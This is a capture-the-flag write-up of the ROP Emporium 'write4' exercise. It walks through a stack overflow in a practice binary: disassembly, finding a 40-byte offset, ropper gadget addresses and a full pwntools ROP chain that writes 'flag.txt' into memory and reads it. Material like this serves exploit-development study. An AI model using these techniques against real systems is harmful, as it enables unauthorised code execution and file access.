---
# System prepended metadata

title: '[write4 rop challenge](https://ropemporium.com/challenge/write4.html)'
tags: [ROP Emporium, wargame, pwn, '2022', rop]

---

# [write4 rop challenge](https://ropemporium.com/challenge/write4.html)
###### tags: `wargame` `2022` `rop` `ROP Emporium` `pwn`
{%hackmd theme-dark %}
# PWN
Goal: 
- Manipulate writeable address and with rop we can read any file.

Key points:
- Where to write? (e.g., The address should be writable and will not change during runtime to be a filename)
- What to write? (e.g., What filename do we desire? How to concatenate the strings?)
- How to make a ROP chain? (e.g., What gadget to find? In this challenge, `rdi` only consumes pointer, so how to pass the pointer to `rdi`?)


My first thought: 
- Make a symlink that points to the `nonexistent -> flag.txt,` so we can get the flag easily (it will work just by calling the usefulFunction). But it turns out that it will only work locally, and if we want to solve the pwn challenge remotely, we stand no chance of changing the server's environment.
## Description

<details>
<summary>Challenge Hint</summary>
    
:::info
**Read/Write**
Hopefully, you've realised that ROP is just a form of arbitrary code execution and if we get creative, we can leverage it to do things like write to or read from memory. The question we need to answer is: what mechanism are we going to use to solve this problem? Is there any built-in functionality to do the writing or do we need to use gadgets? In this challenge, we won't be using built-in functionality since that's too similar to the previous challenges, instead we'll be looking for gadgets that let us write a value to memory such as **mov [reg], reg**.

**What/Where**
Perhaps the most important thing to consider in this challenge is where we're going to write our **"flag.txt"** string. Use rabin2 or readelf to check out the different sections of this binary and their permissions. Learn a little about ELF sections and their purpose. Consider how much space each section might give you to work with and whether corrupting the information stored at these locations will cause you problems later if you need some kind of stability from this program.

**Decisions, decisions**
Once you've figured out how to write your string into memory and where to write it, go ahead and call **print_file()** with its location as its only argument. You could consider wrapping your write gadgets in helper a function; if you can write a 4 or 8 byte value to a location in memory, you could craft a function (e.g. in Python using pwntools) that takes a string and a memory location and returns a ROP chain that will write that string to your chosen location. Crafting templates like this will make your life much easier in the long run. As ever, with the MIPS challenge, don't forget about the branch delay slot.
:::
</details>


## Let's download the binary!

<details>
    <summary>unzip</summary>
    
```c=
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ unzip -l write4.zip
Archive:  write4.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     8384  2020-07-08 07:19   write4
     8392  2020-07-08 07:19   libwrite4.so
       33  2020-07-03 02:28   flag.txt
---------                     -------
    16809                     3 files
```
    
</details>

We got three files from the `write4.zip.`

<details>
    <summary>ldd</summary>
    
```c=
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ ldd write4
        linux-vdso.so.1 (0x00007ffd40583000)
        libwrite4.so => ./libwrite4.so (0x00007faba2c09000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007faba2a01000)
        /lib64/ld-linux-x86-64.so.2 (0x00007faba2e0d000)
```
    
</details>

`write4` is the primary binary.
`libwrite4.so` is the library `write4.`(we can find it out with `ldd`)
`flag.txt` is our target filename.

## Static Analysis (with IDA Pro)
First take a look at main function:
```c=
.text:0000000000400607                         ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400607                         public main
.text:0000000000400607                         main proc near
.text:0000000000400607 55                      push    rbp
.text:0000000000400608 48 89 E5                mov     rbp, rsp
.text:000000000040060B E8 F0 FE FF FF          call    _pwnme
.text:0000000000400610 B8 00 00 00 00          mov     eax, 0
.text:0000000000400615 5D                      pop     rbp
.text:0000000000400616 C3                      retn
.text:0000000000400616                         main endp
```
<details>
<summary>external function</summary>
    
```c=
.plt:0000000000400500                         ; __int64 __fastcall pwnme(__int64, __int64, __int64)
.plt:0000000000400500                         _pwnme proc near
.plt:0000000000400500 FF 25 12 0B 20 00       jmp     cs:off_601018
.plt:0000000000400500                         _pwnme endp
```
</details>

We can see the main function is calling `_pwnme,` which is an external function in `libwrite4.so.`

<details>
<summary>usefulFunction</summary>
    
```c=
.text:0000000000400617 usefulFunction  proc near
.text:0000000000400617                 push    rbp
.text:0000000000400618                 mov     rbp, rsp
.text:000000000040061B                 mov     edi, offset aNonexistent ; "nonexistent"
.text:0000000000400620                 call    _print_file
.text:0000000000400625                 nop
.text:0000000000400626                 pop     rbp
.text:0000000000400627                 retn
.text:0000000000400627 usefulFunction  endp
```
</details>

The binary provides a `usefulFunction` which moves ``"nonexistent"`` to `edi` and calls `_print_file`. We know from calling convention that `edi` will be the first argument for `_print_file` that we can exploit. If we can change `"nonexistent"`  to `"./flag.txt"`, we will have a chance to capture the flag!

<details>
<summary>usefulGadgets</summary>
    
```c=
.text:0000000000400628 usefulGadgets:
.text:0000000000400628                 mov     [r14], r15
.text:000000000040062B                 retn
.text:000000000040062B ; ---------------------------------------------------------------------------
.text:000000000040062C                 align 10h
```
</details>

Although it doesn't show in the list of functions in IDA Pro, we can find it under the `usefulFuntion` in assembly mode. We will use this gadget to pass the pointer of the file name.
## Dynamic Analysis (with GDB)
Purpose: To find the padding before the `return address.`
There are two ways to find the buffer size:
<details>
    <summary>1. Use GDB</summary>

```c=
// 1. Create payload
echo $(cyclic 100) > payload
// 2. See from gdb to know where the binary chokes at
gdb ./write4
r < payload
// Tracing buffer size in gdb
0x007fffffffe0a8│+0x0000: "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"      ← $rsp
0x007fffffffe0b0│+0x0008: "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]"
0x007fffffffe0b8│+0x0010: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa\n"
0x007fffffffe0c0│+0x0018: "qaaaraaasaaataaauaaavaaawaaaxaaayaaa\n"
0x007fffffffe0c8│+0x0020: "saaataaauaaavaaawaaaxaaayaaa\n"
0x007fffffffe0d0│+0x0028: "uaaavaaawaaaxaaayaaa\n"
0x007fffffffe0d8│+0x0030: "waaaxaaayaaa\n"
0x007fffffffe0e0│+0x0038: 0x00000a61616179 ("yaaa\n"?)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7dc893b <pwnme+145>      call   0x7ffff7dc8730 <puts@plt>
   0x7ffff7dc8940 <pwnme+150>      nop
   0x7ffff7dc8941 <pwnme+151>      leave
 → 0x7ffff7dc8942 <pwnme+152>      ret
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "write4", stopped 0x7ffff7dc8942 in pwnme (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7dc8942 → pwnme()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/8b $rsp
0x7fffffffe0a8: 0x6b    0x61    0x61    0x61    0x6c    0x61    0x61    0x61
// We can see directly from the $rsp and get `kaaa` for the first 4 bytes:
$rsp   : 0x007fffffffe0a8  →  "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"
// 3. Find the offset 
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ cyclic -l kaaa
40
```
</details>
    
Use cyclic to count the offset from `rsp` (don't need any arithmetic) and we can get the padding is `40.`
<details>
<summary>2. Read pwnme() assembly</summary>
    
```c=
public pwnme
pwnme proc near

s= byte ptr -20h

push    rbp
mov     rbp, rsp
sub     rsp, 20h
mov     rax, cs:stdout_ptr
mov     rax, [rax]
mov     ecx, 0          ; n
mov     edx, 2          ; modes
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setvbuf
lea     rdi, s          ; "write4 by ROP Emporium"
call    _puts
lea     rdi, aX8664     ; "x86_64\n"
call    _puts
lea     rax, [rbp+s]
mov     edx, 20h ; ' '  ; n
mov     esi, 0          ; c
mov     rdi, rax        ; s
call    _memset
lea     rdi, aGoAheadAndGive ; "Go ahead and give me the input already!"...
call    _puts
lea     rdi, format     ; "> "
mov     eax, 0
call    _printf
lea     rax, [rbp+s]
mov     edx, 200h       ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
lea     rdi, aThankYou  ; "Thank you!"
call    _puts
nop
leave
retn
pwnme endp
```
</details>

Look through the code from IDA Pro (which is more straightforward.) 
- From line 32, we know that it puts `rax` (which is the buffer size) to `rsi.` And `rax` comes from line 30, which is `[rbp+s]` and `s` equals `0x20` (from line 4). Thus we know the buffer size is `0x20` bytes.
- Before the return address, there lies a `rbp,` so we have to plus another 8 bytes to `0x20`. Thus, we got `40` bytes.

In both ways, we can conclude that to reach the return address we have to insert `40` bytes padding.
    
Once we control the `rip`, we can make this binary execute anything we want!
## Exploit
<details>
<summary>Exploit code</summary>
    
```python=
from pwn import *
context.update(log_level='info')
padding = cyclic_find("kaaa")
data_address = 0x601028
writeable_addr_2 = 0x601030
pop_r14_r15 = 0x400690
r14_deref_r15 = 0x400628
pop_rdi = 0x400693
usefulFunction_adr = 0x400620

p = process("./write4")

#  1 - Fill the padding
padding = "A" * padding
payload = padding.encode()

# 2 - Insert first part of file name
payload += p64(pop_r14_r15)
payload += p64(data_address)
payload += b"./flag.t"
payload += p64(r14_deref_r15)

# 3 - Insert Second part of file name
# Store "./flag.t" to rdi
# Because the "./flag.txt" is too long, and the gadget we get can only move qword at a time (8 byte), so we have to move the string twice
payload += p64(pop_r14_r15)
payload += p64(writeable_addr_2)
payload += b"xt\x00\x00\x00\x00\x00\x00"
# Store the "xt\x00\x00\x00\x00\x00\x00" string to [r14+0x8]
payload += p64(r14_deref_r15)

# 4 - Store "./flag.txt" adderss to rdi
payload += p64(pop_rdi)
payload += p64(data_address)

# 5 - Evoke usefulFunction
payload += p64(usefulFunction_adr)

p.sendline(payload)
p.interactive()
```
</details>
    
I'll provide some illustrations of finding the address from line 4 to line 9 in the exploit code.

<details>
    <summary>1. 0x601028</summary>
    
```c=
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ readelf --section-headers -W ./write4 | grep data
  [15] .rodata           PROGBITS        00000000004006b0 0006b0 000010 00   A  0   0  4
  [23] .data             PROGBITS        0000000000601028 001028 000010 00  WA  0   0  8
```
</details>
    
- The reason that we choose `.data` not `.rodata` is because it's `WA`(writeable and accessible). Thus that's how we get `0x601028.`

2. 0x601030 is calculated by `0x601028 + 0x8`, since the `./flag.txt` (10 bytes) is too long, and the gadget we get can only move qword (8 bytes) at a time, so we have to move the leftover after next 8 bytes.
    
<details>
<summary>3. Use the usefulGadgets which is mentioned above to get 0x400628 and 0x400690 </summary>    
    
```c=
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ ropper -f ./write4 | grep r14
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000400628: mov qword ptr [r14], r15; ret;
0x0000000000400690: pop r14; pop r15; ret;
```
</details>
    
- We use `pop r14; pop r15; ret;` to store the pointer and the filename respectively. Besides, `mov qword ptr [r14], r15; ret;` it first dereferences r14 and stores the value from r15 to it.

<details>
<summary>4. 0x400693</summary>
    
```c=
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ ropper -f ./write4 | grep rdi
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000400693: pop rdi; ret;
```
</details>

- It's the gadget to store the pointer to the filename
<details>
<summary>5. 0x400620</summary>

```c=
.text:0000000000400617 usefulFunction  proc near
.text:0000000000400617                 push    rbp
.text:0000000000400618                 mov     rbp, rsp
.text:000000000040061B                 mov     edi, offset aNonexistent ; "nonexistent"
.text:0000000000400620                 call    _print_file
.text:0000000000400625                 nop
.text:0000000000400626                 pop     rbp
.text:0000000000400627                 retn
.text:0000000000400627 usefulFunction  endp
```
</details>
    
- Although usefulFunction starts at `0x400617`, it changes the `rdi` at `0x40061B`, which destroys our plan. Thus we decide to jump from `0x400620` and make it only call `_print_file` without changing `rdi.`

## Get the flag
```c=
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ python exploit.py
[+] Starting local process './write4': pid 31741
[*] Switching to interactive mode
write4 by ROP Emporium
x86_64

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
```

Happy ropping!